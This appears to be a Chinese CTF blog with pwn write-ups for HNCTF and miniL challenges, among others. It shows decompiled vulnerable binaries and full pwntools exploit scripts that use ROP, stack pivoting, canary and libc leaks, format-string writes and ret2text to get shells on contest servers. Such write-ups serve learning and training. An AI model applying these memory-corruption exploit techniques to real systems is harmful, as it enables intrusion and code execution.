  v2 = __readfsqword(0x28u);
  puts("idx:");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0x4F || !*((_QWORD *)&chunk_list + (int)v1) )
  {
    puts("error!");
    exit(0);
  }
  free(*((void **)&chunk_list + (int)v1));
  *((_QWORD *)&chunk_list + (int)v1) = 0LL;
  return v2 - __readfsqword(0x28u);
}

unsigned __int64 edit_heap()
{
  unsigned int idx; // [rsp+0h] [rbp-10h] BYREF
  unsigned int size; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("idx:");
  __isoc99_scanf("%d", &idx);
  if ( idx > 0x4F || !*((_QWORD *)&chunk_list + (int)idx) )
  {
    puts("error!");
    exit(0);
  }
  printf("size:");
  __isoc99_scanf("%d", &size);
  if ( size >= 0x501 )
  {
    puts("error");
    exit(0);
  }
  printf("content:");
  read(0, *((void **)&chunk_list + (int)idx), (int)size);
  return v3 - __readfsqword(0x28u);
}

unsigned __int64 show_heap()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("idx:");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0x4F || !*((_QWORD *)&chunk_list + (int)v1) )
  {
    puts("error!");
    exit(1);
  }
  printf("content:");
  printf("%s", *((const char **)&chunk_list + (int)v1));
  return v2 - __readfsqword(0x28u);
}

void __noreturn exit_programe()
{
  exit(0);
}
Read More
post @ 2024-05-15

题目附件https://github.com/nyyyddddn/ctf/tree/main/hnctf_pwn

close

关闭了标准输出流,直接cat /flag 1>&0就可以了

ez_pwn

%s 泄露buf的地址后覆盖rbp栈迁移后打rop就好了,由于32位的调用约定,不能以连续的ret结尾的gadget去rop,然后system不能直接传binsh过去,得传;sh,所以read一次后重启main再调用system就好了

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "hnctf.imxbt.cn"
PORT = 29342

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

ru("Welcome to H&NCTF, my friend. What's your name?")

payload = "A" * 0x2c
s(payload)
ru(payload)

leak = u32(r(4))
buf_addr = leak - (0xfff93748 - 0xfff93710)
success(f"buf_addr ->{hex(buf_addr)}")

read = elf.plt['read']
vuln = 0x08048639
bss = 0x804a000
system = 0x0804857D

payload = p32(read) + p32(vuln) + p32(0) + p32(bss) + p32(0x4)
payload = payload.ljust(0x2c,b'a') + p32(buf_addr - 4)
s(payload)


time.sleep(0.3)
# g(p)
s(b'sh;\0')

ru("Welcome to H&NCTF, my friend. What's your name?")
payload = "A" * 0x4
s(payload)
ru(payload)

buf_addr = buf_addr
success(hex(buf_addr))


buf_addr = buf_addr - (0xffb45f80 - 0xffb45f4c)


payload = p32(system) + p32(bss) + p32(bss)
payload = payload.ljust(0x2c,b'a') + p32(buf_addr - 4)

# g(p)
s(payload)

p.interactive()

idea

格式化字符串泄露canary后和ez_pwn一样的流程,不过libc小版本的差异远程打不通,可以用libc searcher解决这个问题

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "hnctf.imxbt.cn"
PORT = 46515

elf = context.binary = ELF('./idea')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

sla("How many bytes do you want me to read? ","-1")

payload = b'%7$p'
# gdb_comm = '''
# b *0x080486E4
# c
# '''
# gdb.attach(p,gdb_comm)
sla("Ok, sounds good. I'll give u a gift!",payload)

rl()
canary = int(r(10),16)
success(hex(canary))

ru("bytes of data!")

puts = elf.plt['puts']
puts_got = elf.got['puts']
vuln = 0x0804870D

payload = b'a' * 0x20 + p32(canary) + b'a' * 0xc
payload += p32(puts) + p32(vuln) + p32(puts_got)
# g(p)
sl(payload)

ru("a" * 0x20)
rl()
# libc_base = u32(r(4)) - libc.sym['puts']
# success(f"libc_base ->{hex(libc_base)}")
# system = libc_base + libc.sym['system']
# binsh = libc_base + next(libc.search(b'/bin/sh'))
# read = libc_base + libc.sym['read']

bss = 0x804a000

puts_addr = u32(r(4))
success(hex(puts_addr))
success(hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
success(hex(libc_base))
success(hex(libc_base))
system = libc_base + libc.dump("system")
read = libc_base + libc.dump("read")

sla("How many bytes do you want me to read? ","-1")
sla("Ok, sounds good. I'll give u a gift!","AA")
ru("bytes of data!")
payload = b'a' * 0x20 + p32(canary) + b'a' * 0xc
payload += p32(read) + p32(vuln) + p32(0) + p32(bss) + p32(0x4) 

sl(payload)

time.sleep(0.5)
s(b'sh;\0')

sla("How many bytes do you want me to read? ","-1")
sla("Ok, sounds good. I'll give u a gift!","AA")
ru("bytes of data!")
payload = b'a' * 0x20 + p32(canary) + b'a' * 0xc
payload += p32(system) + p32(bss) + p32(bss)
# g(p)
sl(payload)




p.interactive()

what

Read More
post @ 2024-05-14

pwn

ottoshop

ida显示有些奇怪,修了一下,程序的逻辑是这样的,程序里还有一个backdoor,通过buy中的下界溢出去写binsh字符串,然后golden中的 scanf去写返回地址为backdoor就好了,scanf 如果输入数据的类型和formatstrings不匹配就不会写入数据,通过这种方式去绕过canary

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v4; // [rsp+Ch] [rbp-44h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  v3 = time(0LL);
  srand(v3);
  puts("Welcome to miniL pwn checkin!");
  puts("Here,a ♿ shop,have some magic ♿ for u ~");
  puts("u have 50 ottobucks to buy No.1-No.255 ♿!");
  while ( 1 )
  {
    do
    {
      while ( 1 )
      {
        menu();
        scanf();
        if ( v4 != 666 )
          break;
        puts("u find it!");
        ottoottootto();
      }
    }
    while ( v4 > 666 );
    if ( v4 == 4 )
    {
      check();
    }
    else if ( v4 <= 4 )
    {
      switch ( v4 )
      {
        case 3:
          Golden();
          break;
        case 1:
          buy();
          break;
        case 2:
          change();
          break;
      }
    }
  }
}

unsigned __int64 buy()
{
  int a; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  a = 0;
  if ( money > 0 )
  {
    puts("which ♿ ?");
    scanf("%d", (int)&a);
    wheelchair[a] = 666;
    if ( a > 255 )
    {
      puts("? fxxk u!");
      exit(1);
    }
    puts("Give your ♿ a name!");
    read(0, (char *)&name + 4 * a, 4uLL);
    --money;
  }
  else
  {
    puts("NONONO..");
  }
  return v2 - __readfsqword(0x28u);
}

unsigned __int64 Golden()
{
  int a; // [rsp+8h] [rbp-18h] BYREF
  int i; // [rsp+Ch] [rbp-14h]
  char v3[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  a = 0;
  if ( gold != 1 )
  {
    puts("NONONONO..");
    exit(1);
  }
  puts("Here are only 5 golden ♿..");
  puts("How many golden ♿ u want to buy?");
  scanf("%d", (int)&a);
  if ( a > 5 )
  {
    puts("U R Greedy!");
    exit(1);
  }
  for ( i = 0; i < a; ++i )
  {
    if ( money <= 14 )
    {
      puts("nononono..");
      return v4 - __readfsqword(0x28u);
    }
    puts(aUCanGiveYourGo);
    scanf("%ld", (int)&v3[8 * i]);
    money -= 15;
  }
  return v4 - __readfsqword(0x28u);
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "127.0.0.1"
PORT = 9999

elf = context.binary = ELF('./ottoshop')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def buy(idx,content):
    sla('5.exit\n',b'1')
    sl(str(idx))
    sa("name!",content)

p = connect()


backdoor = 0x402128

# set menory = 0x10000
buy(-90,p32(0x10000))

# set flag1 = /bin/sh
buy(-92,p32(0x6e69622f))
buy(-91,p32(0x0068732f))

# set gold = 1
sla(b'5.exit\n',"666")
sa(b'find it!\n',b'\n')


sla(b'5.exit\n',"3")

sla(b'want to buy?\n',"4")
for i in range(3):
    sla(b'passwd!',b'-')

sla(b'passwd!',str(backdoor).encode())




p.interactive()

game

啊这,这个game太抽象了一点都不好玩,不复现了

Easyvm2024

第一次做vmpwn相关的题目,去了解了一下vmpwn相对ctf re方向的虚拟机逆向来说,除了要识别 虚拟机中的 寄存器 堆栈,有哪些Instruct handler外,还需要去分析Instruct handler有什么漏洞,构造一些输入去触发这些漏洞,程序的逻辑大概是这样的

Read More

pwn

摩登Pwn

第一次做这种gui pwn,搜了一下是rbf协议,https://remoteripple.com/download/ 用这个远程连接软件连接和题目进行交互

程序的逻辑是,会将输入转成无符号整数,然后判断”符号位”是不是负数,如果是就输出flag,所以只需要输入4字节无符号整数能表达是最大范围4294967295 就能拿到flag

__int64 __fastcall show_result(__int64 a1, __int64 a2)
{
  __int64 type; // rsi
  __int64 v3; // rax
  __int64 buffer; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // rsi
  __int64 v10; // rax
  __int64 v11; // rax
  __int64 v12; // rax
  char src[8]; // [rsp+10h] [rbp-100h] BYREF
  __int64 v15; // [rsp+18h] [rbp-F8h]
  __int64 v16; // [rsp+20h] [rbp-F0h]
  __int64 v17; // [rsp+28h] [rbp-E8h]
  __int64 v18; // [rsp+30h] [rbp-E0h]
  __int64 v19; // [rsp+38h] [rbp-D8h]
  __int64 v20; // [rsp+40h] [rbp-D0h]
  __int64 v21; // [rsp+48h] [rbp-C8h]
  char v22[128]; // [rsp+50h] [rbp-C0h] BYREF
  __int64 v23; // [rsp+D0h] [rbp-40h]
  FILE *stream; // [rsp+D8h] [rbp-38h]
  __int64 content_area; // [rsp+E0h] [rbp-30h]
  __int64 v26; // [rsp+E8h] [rbp-28h]
  unsigned int v27; // [rsp+F4h] [rbp-1Ch]
  __int64 v28; // [rsp+F8h] [rbp-18h]
  __int64 toplevel; // [rsp+100h] [rbp-10h]
  char *nptr; // [rsp+108h] [rbp-8h]

  toplevel = gtk_widget_get_toplevel(a1);
  v28 = a2;
  type = gtk_entry_get_type();
  v3 = g_type_check_instance_cast(v28, type);
  buffer = gtk_entry_get_buffer(v3);
  for ( nptr = (char *)gtk_entry_buffer_get_text(buffer); *nptr && (*nptr <= 48 || *nptr > 56); ++nptr )
    ;
  v27 = strtoul(nptr, 0LL, 10);
  v26 = gtk_dialog_new_with_buttons("Result", toplevel, 2LL, &unk_401B58, 0xFFFFFFFFLL, 0LL);
  v5 = gtk_container_get_type();
  v6 = g_type_check_instance_cast(v26, v5);
  gtk_container_set_border_width(v6, 10LL);
  v7 = gtk_window_get_type();
  v8 = g_type_check_instance_cast(v26, v7);
  gtk_window_set_position(v8, 4LL);
  v9 = gtk_dialog_get_type();
  v10 = g_type_check_instance_cast(v26, v9);
  content_area = gtk_dialog_get_content_area(v10);
  memset(v22, 0, sizeof(v22));
  strcat(v22, "Your height is:  ");
  if ( (v27 & 0x80000000) != 0 )
  {
    *(_QWORD *)src = 0LL;
    v15 = 0LL;
    v16 = 0LL;
    v17 = 0LL;
    v18 = 0LL;
    v19 = 0LL;
    v20 = 0LL;
    v21 = 0LL;
    stream = fopen("/flag", "r");
    __isoc99_fscanf(stream, "%s", src);
    fclose(stream);
    strcpy(&v22[16], src);
  }
  else
  {
    sprintf(&v22[16], "%d", v27);
  }
  strcat(v22, "cm");
  v23 = gtk_label_new(v22);
  g_signal_connect_data(v26, (__int64)"response", (__int64)&gtk_widget_destroy, v26, 0LL, 2LL);
  v11 = gtk_container_get_type();
  v12 = g_type_check_instance_cast(content_area, v11);
  gtk_container_add(v12, v23);
  return gtk_widget_show_all(v26);
}

baby_stack

题目里有一个只允许orw的沙箱,然后子函数里面有一个栈溢出,不过溢出长度比较短,通过printf %s泄露libc基地址 和 栈相关的地址,栈迁移后打rop,先泄露栈地址,因为栈地址的在低地址,在泄露libc的地址

ssize_t func()
{
  char buf[320]; // [rsp+0h] [rbp-140h] BYREF

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  puts("please enter your content:");
  read(0, buf, 0x150uLL);
  printf("%s", buf);
  puts("please enter your content again:");
  return read(0, buf, 0x150uLL);
}

其实restart一次就好了,(懒得改

exp

Read More
post @ 2024-04-28

easycpp

std::ios_base::width 这段代码设置了输入长度为96,buf距离rbp的距离为 0x90,不过 strcmp(s1, s2); 这里cmp成功的话走到后边cpy就会有一个溢出,程序存在一个backdoor函数,ret2text

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // rax
  __int64 v10; // rax
  __int64 v11; // rax
  __int64 v12; // rax
  __int64 v13; // rax
  __int64 v14; // rax
  __int64 v15; // rax
  __int64 v16; // rax
  __int64 v17; // rax
  char s2[96]; // [rsp+0h] [rbp-90h] BYREF
  char s1[44]; // [rsp+60h] [rbp-30h] BYREF
  unsigned int v21; // [rsp+8Ch] [rbp-4h]

  init();
  v3 = std::operator<<<char>(&std::cout, &str02[abi:cxx11]);
  std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  v4 = std::operator<<<char>(&std::cout, &str03[abi:cxx11]);
  std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
  v5 = std::operator<<<char>(&std::cout, &str04[abi:cxx11]);
  std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
  v6 = std::operator<<<char>(&std::cout, &str05[abi:cxx11]);
  std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
  v7 = std::operator<<<char>(&std::cout, &str06[abi:cxx11]);
  std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
  v8 = std::operator<<<char>(&std::cout, &str07[abi:cxx11]);
  std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
  v9 = std::operator<<<char>(&std::cout, &str08[abi:cxx11]);
  std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
  v10 = std::operator<<<char>(&std::cout, &str09[abi:cxx11]);
  std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
  v11 = std::operator<<<char>(&std::cout, &str10[abi:cxx11]);
  std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
  v12 = std::operator<<<char>(&std::cout, &str11[abi:cxx11]);
  std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
  v13 = std::operator<<<char>(&std::cout, &str12[abi:cxx11]);
  v14 = std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
  std::ostream::operator<<(v14, &std::endl<char,std::char_traits<char>>);
  v15 = std::operator<<<char>(&std::cout, &str01[abi:cxx11]);
  std::ostream::operator<<(v15, &std::endl<char,std::char_traits<char>>);
  v16 = std::operator<<<std::char_traits<char>>(&std::cout, "Tell me,which ctf is the best CTF?");
  std::ostream::operator<<(v16, &std::endl<char,std::char_traits<char>>);
  std::ios_base::width((std::ios_base *)&unk_404250, 96LL);
  std::operator>><char,std::char_traits<char>>(&std::cin, s2);
  v17 = std::operator<<<std::char_traits<char>>(&std::cout, s2);
  std::ostream::operator<<(v17, &std::endl<char,std::char_traits<char>>);
  strcpy(s1, "HZNUCTF,bestCTF!");
  v21 = strcmp(s1, s2);
  std::ostream::operator<<(&std::cout, v21);
  if ( v21 )
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "Well, maybe you can try to believe HZNUCTF.");
  }
  else
  {
    memcpy(s1, s2, 0x60uLL);
    std::operator<<<std::char_traits<char>>(&std::cout, "You are right!");
    std::operator<<<std::char_traits<char>>(&std::cout, s1);
  }
  return 0;
}

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "150.158.117.224"
PORT = 20023

elf = context.binary = ELF('./easycpp')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

backdoor = 0x4012FE

payload = b'HZNUCTF,bestCTF!'
payload = payload.ljust(0x18,b'\x00') + p64(backdoor) * 10
# g(p)
sla("Tell me,which ctf is the best CTF?",payload)


p.interactive()

FakeHope

保护全开,同时输入函数是 scanf %s 存在 00截断,可以找一个指向栈的双重指针,通过这个双重指针往栈上写一个地址,这样就实现任意地址读写了,通过双重指针去调整这个地址,就能实现写 四个字节 八个字节的长数据,发现是低版本的libc,csu会被编译到elf里面,本来想着在buf附近用格式化字符串写rop 用csu去调整rsp的位置,但是buf那边有几个操作会修改buf里的数据,不太好布置,然后就往返回地址那写rop, 因为程序不能正常返回,不过只需要劫持子函数的返回地址为leave ret 就能正常返回了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  hope(argc, argv, envp);
  return 0;
}
unsigned __int64 hope()
{
  char format[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v2; // [rsp+108h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  init();
  do
  {
    __isoc99_scanf(&unk_2004, format);
    printf(format);
    putchar(10);
  }
  while ( strcmp(format, "exit") );
  system("echo FakeHope");
  return __readfsqword(0x28u) ^ v2;
}

exp写的很烂,不过懒得改了(

exp:

Read More
⬆︎TOP